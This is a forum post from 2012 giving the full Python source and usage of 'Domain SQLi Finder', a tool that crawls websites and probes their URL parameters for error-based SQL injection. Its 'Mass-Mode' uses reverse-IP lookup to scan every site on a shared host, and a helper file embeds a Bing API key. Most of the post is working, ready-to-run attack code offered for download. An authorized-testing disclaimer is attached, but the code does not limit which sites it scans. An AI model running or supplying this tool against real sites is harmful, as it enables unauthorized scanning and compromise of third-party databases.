Active Members Fi8sVrs Posted April 28, 2012 Active Members Report Posted April 28, 2012 The script has following features:1. Crawling : it can crawl all or requested number of pages on a website2. Reverse IP Look Up : it can find all sites hosted on a shared hosting server3. Single-Mode Attack : Crawl and find SQLi on single website and report4. Mass-Mode Attack : Find all sites hosted on domain, crawl one-by-one, find SQLi on each one-by-one and report5. Targets could be skipped while crawling if found too big or irrelevant. Though the script can not be paused but could be skipped to target next site.The script was developed as part of a Penetration Test assessment where Mass-Mode attack was required per clients request.The Banner# ./Domain-SQLi-finder.pyScript Help./Domain-SQLi-finder.py -hSingle-Mode Attack - Targeting Single Website./Domain-SQLi-finder.py --verbose 1 --url demo.testfire.net --crawl 50 --pages 5 --output testfire-SQLi.txtIt crawls all or requested number of pages, finds injectable links, finds injecatable parameters and tests SQLi payloads against each injectable parameterMass-Mode Attack - Targeting whole domain# ./Domain-SQLi-finder.py --verbose 1 --durl demo.testfire.net --crawl 50 --pages 5 --sites 4 --vulsites 2 --output testfire-SQLi.txtIt starts with reserver IP lookup, if requested, and finds all domains hosted on shared hosting serverAbove you can see 3 domains were found hosted on single serverFurther, script would target each domain one-by-one, crawling, and testing SQLi against themCrawling....Usage:--verbose : Value 0 would display minimum messages required. Value 1 would display complete progress. By default, vebosity is OFF--output : Output file name to hold final result. If not specified, default file with name DSQLiResults.txt will be created under same directorySingle-Mode Attack:--url : takes URL as input--crawl : Number of pages on website to crawl (default is set to 500). Chilkat library is used for crawling--pages : Number of vulnerable pages (injectable parameters) to find on site (default is 0 i.e. try and find all possible vulnerable pages)Mass-Mode Attack:--durl : URL of domain--sites : Number of sites to scan on domain. Default is 0 i.e scan all.--vulsites : Number of vulnerable sites to find before scanning would stop automatically. Default is 0 i.e. try to find all vulnerable sites--dcrawl : Number of pages on website to crawl (default is set to 500)--dpages : Number of vulnerable pages to find on site. Default is 0 i.e. try and find all possible vulnerable pages.--reverse : This option has dual role- If specified on command prompt with output file name, script would consider that user has done Reverse-IP lookup already i.e. a file is existing under same directory which has result of reverse-IP lookup and script just needs to read the file. This has another benefit - script doesn't have to do reverse IP lookup whenever fired. Just generate it once and if quitting script in between while targeting domain, the next time user just needs to provide it amended reverseIP Lookup file i.e. remove the already scanned target urls from list.- If this option is not specified on command prompt, the script would perform reverse-IP lookup itselfScript generates few more files during scanning which could be considered as log files, e.g. crawler output file, unique links parsed output file, reverse-IP lookup output file.Domain-SQLi-finder.py#!/usr/local/bin/python2.7# This was written for a Penetration Test assessment and is for educational purpose only. Use it at your own risk.# Author will be not responsible for any damage!# Intended for authorized Web Application Pen Testing only!import chilkat, sys, os, argparse, httplib, urlparse, urllib2, re, time, datetimeimport DomainReverseIPLookUp# The following three variables get their values from command line args, either take user value or stick with the default onespagesToCrawl = "" # Number of pages to crawl in a websitemaxVulInjectableParam = "" # Maximum number of vulnerable pages (parameters) to findoutput = "" # Output file name - append mode (a)reverseLookUp = "DSQLiReverseLookUp.txt" # Output file name for reverseIP lookup - write+ mode (w+)crawlDump = 'DSQLiCrawlerOutput.txt' # Stores crawling result for current crawl only - write+ mode (w+)uniqueLinksDump = 'DSQLiUniqueLinks.txt' # Stores crawling result for current scan only - write+ mode (w+)errorDump = 'DSQLiErrorDump.txt' # Dumps handled errors - append mode (a)sitesToScan = "" # Stores maximum number of sites to scan on domain in case of Mass-Mode AttackmaxVulSites = "" # Stores maximum number of vulnerable sites to find with Mass-Mode AttackreverseFlag = 0 # Determines whether reverseLookUp file is generated by script or user supplies itmaxVulSitesFlag = 0 # Keeps track of how many vulnerable sites have been found in Mass-Mode Attackverbose = 0 # Determines what messages to display on screen (0 or 1)sqlPayload = ["1'"] # SQL Payloads, add in more heresqlErrors = [ "Warning", "mysql_fetch_array()", "mysql_fetch_object()", "mysql_num_rows()", "mysql_free_result()", "mysql_real_escape_string()", "mysql_connect()", "mysql_select_db()", "mysql_query()", "You have an error in your SQL syntax", "Unclosed quotation mark after the character string", "Server Error in '/' Application", "Microsoft OLE DB Provider for ODBC Drivers error", "supplied argument is not a valid OCI8-Statement", "microsoft jet database engine" ] # add in more here# Determine platform and clear screendef clear_screen(): if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin': os.system('clear') elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos': os.system('cls') else: pass # Banner - Set the formatting mororn, it's fucked up atmdef banner(): print """ ################################################################## Domain SQLi Finder - (Error Based Tool-v0.1) b0nd@garage4hackers.com Greetz to: (www.garage4hackers.com) GGGGGG\ GG __GG\ GG / \__| aaaaaa\ rrrrrr\ aaaaaa\ gggggg\ eeeeee\ GG |GGGG\ \____aa\ rr __rr\ \____aa\ gg __gg\ ee __ee\ GG |\_GG | aaaaaaa |rr | \__|aaaaaaa |gg / gg |eeeeeeee | GG | GG |aa __aa |rr | aa __aa |gg | gg |ee ____| \GGGGGG |\\aaaaaaa |rr | \\aaaaaaa |\ggggggg |\\eeeeeee\ \______/ \_______|\__| \_______| \____gg | \_______| gg\ gg | gggggg | \______/ ################################################################### """ print "\tUsage: python %s [options]" % sys.argv[0] print "\t\t-h help\n" call_exit()def call_exit(): print "\n\tExiting ...........\n" sys.exit(0)# Tests SQLi on all unique links and parameters by appending sqlPayload and checking the sourcedef check_SQLi(uniqueUrls): sqliUrls = [] # This list will contain sorted URLs ready to be appended with sqlPayloads flag = 0 # Variable to check whether desired 'n' number of vulnerable pages have been found for link in uniqueUrls: # This list has all unique URLs but since a single unique URL might have multiple parameters num = link.count("=") # so this loop prepares URLs with one parameter each if num > 0: for x in xrange(num): x = x + 1 url = link.rsplit("=",x)[0]+"=" sqliUrls.append(url) sqliUrls = list(set(sqliUrls)) # By now this list has all injectable parameters ready to append sqlPayload parsed = urlparse.urlparse(link) # Later used to obtain website name now = datetime.datetime.now() # Current time of scanning to put in DSQLiResults output file try: fd_output = open(output, 'a') fd_output.write("\n\tTarget Site =>\t" + parsed.netloc + "\t(" + (now.strftime("%Y-%m-%d %H:%M")) + ")\n") # Writing URL base name to output file except IOError: print "\n\t[!] Error - could not open|write file %s \n" % output if verbose == 1: print "\n[*] Testing SQLi on following URLs:" for link in sqliUrls: print "\t[-] URL: ", link else: print "\n[*] Testing SQLi on URL's ....." # In the following loop, the counter flag plays role to find 'n' number of vulnerable pages. If limited number of pages # have to be found, the value of flag counter determines whether script has found those number of pages or not. Once matches, # it breaks all loops and come out. Else, if it has not touched the limit but links in sqliUrls have finished, control comes # out of all loops. But if (0) i.e. all pages have to be found, flag plays no considerable role other than incrementing itself. for link in sqliUrls: for pload in sqlPayload: if verbose == 1: print "\n\n\tTesting: %s\n" % (link+pload) try: source = urllib2.urlopen(link+pload).read() # Appending sqlPayload and reading source for errors except urllib2.HTTPError, err: if err.code == 500: if verbose == 1: print "\t\t[!] Error - HTTP Error 500: Internal Server Error" print "\t\t[-] Continuing with next link" continue else: if verbose == 1: print "\t\t[!] Error - HTTP Error xxx" print "\t\t[-] Continuing with next link" continue for errors in sqlErrors: if re.search(errors, source) != None: # If any sql error found in source fd_output.write("\t\t[!] BINGO!!! SQLi Vulnerable " + link+pload + "\n") print "\n\t\t[!] BINGO!!! - SQLi FOUND in: %s (%s) \n" % (link+pload, errors) if maxVulInjectableParam != 0: # i.e. if 'n' number of vulnerable parameters have to be found if flag < maxVulInjectableParam: flag = flag + 1 else: break else: # i.e if all vulnerable pages have to be found flag = flag + 1 break else: if verbose == 1: print "\t\t[-] Not Vulnerable - String (%s) not found in response" % errors else: pass if maxVulInjectableParam != 0 and flag == maxVulInjectableParam: # i.e. if 'n' pages have already been found break if maxVulInjectableParam != 0 and flag == maxVulInjectableParam: # i.e. if 'n' pages have already been found break if flag != 0: print "\n\t[-] Target is vulnerable to SQLi, check log file" print "\t\t[-] %d injectable vulnerable parameters found" % (flag) global maxVulSitesFlag maxVulSitesFlag = maxVulSitesFlag + 1 # Increment the flag which determines how many vulnerable sites to find in case of Mass-Mode Attack else: print "\n\t[-] Target is not vulnerable to SQLi" try: fd_output.write("\t\tTarget is not vulnerable to SQLi attack\n") fd_output.close() # Close the file on completion of each URL, so that log file could be seen for except IOError: # result instantly, instead of waiting for whole script to finish print "\n\t[!] Error - file I/O error\n" try: fd_output.close() except IOError: pass# Just finds the unique URLs from all crawled URLs and saves to list# Concept is: Parse the URL, find its injectable parameter(s), check the combination of [netlock, path and injectable parameters] with earlier found# combinations, if unique, update our uniqueUrls list else goto next URL and parse it for same proceduredef unique_urls(unsortedUrls): print "\n[*] Finding unique URL's ....." list_db = [] # Used as temporary storage to compare parameters with already found ones uniqueUrls = [] # This one will finally have unique URLs in it for link in unsortedUrls: list_tmp = [] # Temporary list to store query parameters only try: parsed = urlparse.urlparse(link) num = parsed.query.count("=") # Just checking the parsed.query portion for number of injectable parameters it has x = 0 for x in xrange(num): list_tmp.append(parsed.query.split("&")[x].rsplit("=",1)[0]) # list_tmp would have all injectable parameters in it as elements x = x + 1 except IndexError: # In my case links generate error bcoz they include an external URl and increase the number of "=" in link. # accordingly the loop run 1 extra time and generates out of index error if verbose == 1: print "\n\t[!] Error - List Index Out of Order - check %s and report to author" % (errorDump) try: fd_errorDump = open(errorDump, 'a') fd_errorDump.write("\n\t[*] Error occured inside unique_urls function for:\t" + parsed.query) except IOError: print "\n\t[!] Error - could not open|write file %s \n" % errorDump continue list_tmp = [parsed.netloc, parsed.path, list_tmp] if list_tmp in list_db: # For the first URL, this condition would definitely fail as list_db is empty continue # i.e. same parameters but with different values have been found, so continue else: list_db.append(list_tmp) # Update the found unique parameters uniqueUrls.append(link) # Update the List with unique complete URLs if verbose == 1: for link in uniqueUrls: print "\t[-] Unique link found: ", link try: fd_uniqueLinkDump = open(uniqueLinksDump, 'a') for link in uniqueUrls: fd_uniqueLinkDump.write(link + '\n') fd_uniqueLinkDump.close() except IOError: print "\n\t[!] Error - could not open|write file %s \n" % uniqueLinksDump check_SQLi(uniqueUrls) # Call SQLi check function to test SQLi vulnerability# Function crawls to find "linksToCrawl" number of pages from URL.# It stops when limit reaches or no more pages left to crawl, which ever meets the condition firstdef crawl_site(url): print "[*] Attacking URL -> ", url print "\t[*] Crawling %s to find injectable parameters" % url spider = chilkat.CkSpider() # Using Chilkat Library. Some modules are free. spider.Initialize(url) spider.AddUnspidered(url) spider.CrawlNext() print "\n\t[-] Website Title: ", spider.lastHtmlTitle() print "\n\t[-] Crawling Pages", # The trailing comma to show progress bar in case of non-verbose crawlerOutput = [] # This list would have all the linksToCrawl number of pages of URL for i in range(0,int(pagesToCrawl)): success = spider.CrawlNext() if (success == True): if verbose == 1: if i%50 == 0: print "\n[-] %d percent of %d pages to crawl complete\n" % ((i*100)/pagesToCrawl, pagesToCrawl) print "\t", spider.lastUrl() else: sys.stdout.flush() print ".", # In non verbose case, it prints dot dot dot to show the progress crawlerOutput.append(spider.lastUrl()) else: if (spider.get_NumUnspidered() == 0): print "\n\t[-] No more URLs to spider" i = i - 1 # Need to decrement, else gives +1 count for total pages crawled break else: print spider.lastErrorText() continue spider.SleepMs(10) try: fd_crawlDump = open(crawlDump, 'a') # Logs for link in crawlerOutput: fd_crawlDump.write(link + '\n') fd_crawlDump.close() except IOError: print "\n\t[!] Error - could not open|write file %s \n" % crawlDump print "\n\t[-] Crawled %d pages successfully" % (i+1) if verbose == 1: print "\n[*] Parsing URL's to collect links with '=' in them ....." urlsWithParameters = [] # This list would have only those URLs which has '=' in them i.e. injectable parameter(s) for link in crawlerOutput: if link.count("=") > 0: urlsWithParameters.append(link) if urlsWithParameters != []: if verbose == 1: print "\t[-] Done" unique_urls(urlsWithParameters) # Time to find unique URLs among all with '=' in them else: print "\n\t[!] No injectable parameter found" now = datetime.datetime.now() # Current time to put in DSQLiResults output file try: parsed = urlparse.urlparse(url) fd_output = open(output, 'a') fd_output.write("\n\tTarget Site =>\t" + parsed.netloc + "\t(" + (now.strftime("%Y-%m-%d %H:%M")) + ")\n") # Writing URL base name to output file fd_output.write("\t\tNo injectable parameter found\n") fd_output.close() except IOError: print "\n\t[!] Error - could not open|write file %s \n" % output# Function tries to find SQLi on sites on shared hostingdef attack_Domain(durl): sites = [] counter = 0 # This keeps check on how many sites have been scanned so far deadLinks = 0 # This keeps check on how many dead links have been found print "\n[*] Attacking Domain -> ", durl if reverseFlag == 0: # i.e. if --reverse switch is not used on console. That means, do reverseIP Lookup and generate result DomainReverseIPLookUp.generate_reverse_lookup(durl, reverseLookUp, verbose) # pass domain url, output file name and verbose level try: fd_reverseLookUp = open(reverseLookUp, 'r') for url in fd_reverseLookUp.readlines(): sites.append(url) # List sites contains all the domains hosted on server except IOError: print "\n\t[!] Error - %s file missing" % reverseLookUp print "\t[-] Generate it using --reverse switch or get domains from some reverse IP lookup website" call_exit() elif reverseFlag == 1: # i.e. if --reverse switch is mentioned, then don't do reverse IP Lookup and read data from already generated file try: fd_reverseLookUp = open(reverseLookUp, 'r') for url in fd_reverseLookUp.readlines(): sites.append(url) # List sites contains all the domains hosted on server except IOError: print "\n\t[!] Error - %s file missing" % reverseLookUp print "\t[-] Generate it using --reverse switch or get domains from some reverse IP lookup website" call_exit() if len(sites)%10 != 0: sites = sites[0:(len(sites)%10)] else: sites = sites[0:((len(sites)+2)%10)] for site in sites: try: print "\n\t#################################################" print "\n\t [-] Number of alive sites scanned so far: ", counter print "\n\t [-] Number of vulnerable sites found so far: ", maxVulSitesFlag print "\n\t [-] Number of dead sites found so far: ", deadLinks print "\n\t#################################################\n" if maxVulSites != 0: # i.e. if not all vulnerable sites are to be found if maxVulSitesFlag == maxVulSites: print "\n\t[-] Stopping scan - the required number of vulnerable sites have been found" break if site[:7] != "http://": # prepend http:// to url, if not already done by user site = "http://" + site # what about https site? site = site[:-1] # remove \n at the end of each element print "-"*80 print "\n[*] Target URL - %s ....." % (site) # Verify URL for its existance if verify_URL(site) == True: # Function call to verify URL for existance print "\t[-] URL Verified\n" crawl_site(site) # Pass the site to crawl function else: print "\n\t[-] URL %s could not be verified, continuing with next target in list" % site deadLinks = deadLinks + 1 continue except KeyboardInterrupt: decision = raw_input("\n\t[?] how do you want to proceed? [(C)ontinue with next target in list or (q)uit]: ") if decision == 'C' or decision == 'c': continue elif decision == 'q': print "\n[!] Error - user aborted" call_exit() else: print "\n\tEnjoy: oo=========> (|)" call_exit() counter = counter + 1 # Counting for only those sites which really got scanned # for those whose URLs couldn't be verified, not incrementing counter print "\n\n[*] Scanning Finished" print "\n\t[-] Total Number of vulnerable sites found in domain: ", maxVulSitesFlag print "\t[-] Check log file %s for result" % output# Function to verify URL is alive and accessibledef verify_URL(url): good_codes = [httplib.OK, httplib.FOUND, httplib.MOVED_PERMANENTLY] # 200, 302, 301 respectively host, path = urlparse.urlparse(url)[1:3] # elems [1] and [2] - netloc and path try: conn = httplib.HTTPConnection(host) conn.request('HEAD', path) status = conn.getresponse().status conn.close() except StandardError: status = None return status in good_codes # Either 'True' or 'False'# Parse command line arguments, allowed combinations and mandatory valuesdef parseArgs(): parser = argparse.ArgumentParser(description = 'Domain SQLi Finder - Error Based Tool v0.1', epilog="Report bugs to b0nd@garage4hackers.com | www.garage4hackers.com") parser.add_argument('--verbose', nargs='?', dest='verbose', default=0, help='set verbosity [0 (default) : Off | 1 : On]', type=int) parser.add_argument('--output', metavar='output.txt', dest='siteOutput', default='DSQLiResults.txt', help='output file to store results in (default=DSQLiResults.txt)') group1 = parser.add_argument_group('Single-Mode Attack: Target One Site on Domain') group1.add_argument('--url', nargs=1, dest='URL', help='target site to find SQLi') group1.add_argument('--crawl', nargs='?', dest='crawl', default=500, help='number of pages to crawl (default=500)', type=int) group1.add_argument('--pages', nargs='?', dest='pages', default=0, help='number of vulnerable pages (injectable parameters) to find in site (default=0 i.e. all)', type=int) # Mind it - In group1 and group2, same paramters "crawl" and "pages" are used. So on console whether uses --crawl or --dcrawl, # they would update the same variable "crawl" and ultimately the global variable pagesToCrawl. Same goes for "pages" group2 = parser.add_argument_group('Mass-Mode Attack: Target All Sites on Domain') group2.add_argument('--durl', nargs=1, dest='DURL', help='target domain to find SQLi') group2.add_argument('--sites', nargs='?', dest='sites', default=0, type=int, help='number of sites to scan on domain (default=0 i.e. all)') group2.add_argument('--vulsites', nargs='?', dest='vulsites', default=0, type=int, help='number of vulnerable sites to find on domain (default=0 i.e. all possible)') group2.add_argument('--dcrawl', nargs='?', dest='crawl', default=500, type=int, help='number of pages to crawl in each site (default=500)') group2.add_argument('--dpages', nargs='?', dest='pages', default=0, type=int, help='number of vulnerable pages (injectable parameters) to find in each site (default=0 i.e. all)') group2.add_argument('--reverse', metavar='output.txt', nargs=1, dest='reverseLookUp', help='output file to store found sites on server and|or read Reverse IP Lookup results from file') args = parser.parse_args() # Check exclusiveness of options if (args.URL != None and args.DURL != None): print "\n\t[!] Error - Mutually exclusive options (--url, --durl)" call_exit() # Check existance of at least one option if (args.URL == None and args.DURL == None): print "\n\t[!] Error - No mode selected (--url, --durl)" call_exit() # Check if value is passed to args. e.g. --crawl without value would pass "None" to it and program would crash # all of these switches have default value, so user either don't mention them on command prompt or must put a value for them if (args.crawl == None or args.pages == None or args.sites == None or args.vulsites == None): print "\n\t[!] Error - Insufficient number of value(s) passed to argument(s)" call_exit() # Check to make sure numeral value of vulsites is less than sites and pages < crawl if args.sites < args.vulsites: print "\n\t[!] Error - kidding? --sites shall be > --vulsites\n" call_exit() elif args.crawl < args.pages: print "\n\t[!] Error - kidding? --(d)crawl shall be > --(d)pages\n" call_exit() # Check if switch --reverse is used with --durl only if ((args.URL != None) and (args.reverseLookUp != None)): print "\n\t[!] Error - '--reverse' switch goes with Mass-Mode (--durl) attack only" call_exit() global reverseLookUp # Declaring it here as it's been used couple of times in this fuction # Check verbosity (--verbose argument) if args.verbose != None: # It would be none only when mentioned without any value i.e. --verbose <no value> if args.verbose == 1: # and if that is the case, the global value of verbose is 0 already, so - verbose off print "\n[*] Verbose Mode On" global verbose # verbose global variable verbose = 1 if args.URL != None: # Verbose mode for --url print "\t[-] Pages to crawl (default=500): ", (args.crawl) print "\t[-] Vulnerable injectable parameters (pages) to find in site (default=0 i.e. all): %d" % (args.pages) print "\t[-] Output file name: %s" % (args.siteOutput) if args.DURL != None: # Verbose mode for --durl print "\t[-] Number of sites to scan on domain (default=0 i.e all): ", (args.sites) print "\t[-] Number of vulnerable sites to find on domain (default=0 i.e. all possible): ", (args.vulsites) print "\t[-] Pages to crawl in each site (default=500): ", (args.crawl) print "\t[-] Vulnerable injectable parameters (pages) to find in each site (default=0 i.e. all): %d" % (args.pages) if args.reverseLookUp != None: # i.e. if on console the reverse.txt file names is mentioned print "\t[-] Reverse IP Look-up file needed to read domains from: %s" % (args.reverseLookUp[0]) else: print "\t[-] Reverse IP Look-up output file: %s" % reverseLookUp print "\t[-] Final result output file: %s" % (args.siteOutput) else: # i.e. if value 0 is passed to --verbose print "\n[*] Verbose Mode Off" else: # i.e. verbose has None Value, it's been passed without value print "\n[*] Vebose Mode Off (by default)" # By this point, either of --url, --durl or --aurl switch is enable # Following assignments are for --url, --durl - see if you wish to put only relevant one and take rest in if args.DURL != None # It's OK with current "common" crawl and pages parameters. If I assign parameter separately for --url and --durl then first I # would need to define "dcrawl" and "dpages" and use them in combination with --durl global pagesToCrawl pagesToCrawl = args.crawl global maxVulInjectableParam maxVulInjectableParam = args.pages global output output = args.siteOutput global sitesToScan sitesToScan = args.sites global maxVulSites maxVulSites = args.vulsites # Single-Mode Attack (--url argument) if args.URL != None: if args.URL[0][:7] != "http://": # prepend http:// to url, if not already done by user args.URL[0] = "http://"+args.URL[0] # what about https site? print "\n[*] Verifying URL....." # Verify URL for its existance if verify_URL(args.URL[0]) == True: # Function call to verify URL for existance print "\t[-] URL Verified\n" crawl_site(args.URL[0]) # Goto the function which deals with 1 URL else: print "\n\t[-] URL cound not be verified." call_exit() # Mass-Mode Attack (--durl argument) elif args.DURL != None: if args.DURL[0][:7] != "http://": args.DURL[0] = "http://"+args.DURL[0] # reverseLookUp doesn't have default value, so if not mentioned on console, it will be None. If not None, that means user wants to read reverse look-up # which is already generated file, either using this code or copied from somewhere. In that case, i/p file must reside in same directory if args.reverseLookUp != None: reverseLookUp = args.reverseLookUp[0] global reverseFlag # Determines whether reverseLookUp file is generated by script or user supplies it reverseFlag = 1 attack_Domain(args.DURL[0]) else: # i.e. --reverse is not mentioned on command prompt. Our code shall generate one. print "\n[*] Verifying Domain - %s ....." % (args.DURL[0]) if verify_URL(args.DURL[0]) == True: print "\t[-] Domain Verified\n" attack_Domain(args.DURL[0]) else: print "\n\t[-] Domain cound not be verified." call_exit()def main(): #clear_screen() if len(sys.argv) < 2: banner() parseArgs() # Parse command line arguments call_exit()# ---------------------------------------- Code execution starts here -------------------------------------if __name__ == '__main__': try: main() except KeyboardInterrupt: print "\n[!] Error - user aborted" call_exit()DomainReverseIPLookUp.py#!/usr/local/bin/python2.7# The objective of this script is to generate an output file with all the URLs found on shared hosting ('DSQLiReverseLookUp.txt' by default)# Shamelessly copied from http://hack-addict.blogspot.co.nz/2011/09/finding-domains-on-targeted-host.html.# Thanks and credit to the authorimport httplib, urllib, socket, sysfrom xml.dom.minidom import parse, parseString#reverseLookUp = 'DSQLiReverseLookUp.txt'def generate_reverse_lookup(domainURL, filename, verbose): print "\t[*] Performing Reverse IP Lookup to collect all domains hosted on same server....." if domainURL[:7] == "http://": domainURL = domainURL[7:]# print "\n inside generate_reverse_lookup function with args: ", domainURL AppId = '1734E2C92CA63FAA596335295B09CF1D0B5C6161' sites = [domainURL] ip = socket.gethostbyname(domainURL) offset = 50 while offset < 300: uri = "/xml.aspx?AppId=%s&Query=ip:%s&Sources=Web&Version=2.0&Market=en-us&Adult=Moderate&Options=EnableHighlighting&Web.Count=50&Web.Offset=%s&Web.Options=DisableQueryAlterations"%(AppId, ip, offset) conn = httplib.HTTPConnection("api.bing.net") conn.request("GET", uri) res = conn.getresponse() data = res.read() conn.close() xmldoc = parseString(data) nameEls = xmldoc.getElementsByTagName('web:DisplayUrl') for el in nameEls: temp = el.childNodes[0].nodeValue temp = temp.split("/")[0] if temp.find('www.') == -1: if temp not in sites: sites.append(temp) offset += 50 print "\n\t[-] Reverse IP Look Up successful" # print "\n\t[-] Number of domain(s) found: %d\n" % len(sites) try: fd_reverseLookUp = open(filename, 'w+') for site in sites: fd_reverseLookUp.write(site + '\n') if verbose == 1: print "\t\t", site print "\n\t[-] Number of domain(s) found: %d\n" % len(sites) fd_reverseLookUp.close() except IOError: print "\n\t[!] Error - could not open|write %s file", filename sys.exit(1)Download mirror:Domain-SQLi-finder.py.txt?DomainReverseIPLookUp.py.txt? chilkat library: Chilkat Python ModuleSource: Domain SQL Injector - Find SQL Injection on all sites hosted on server Quote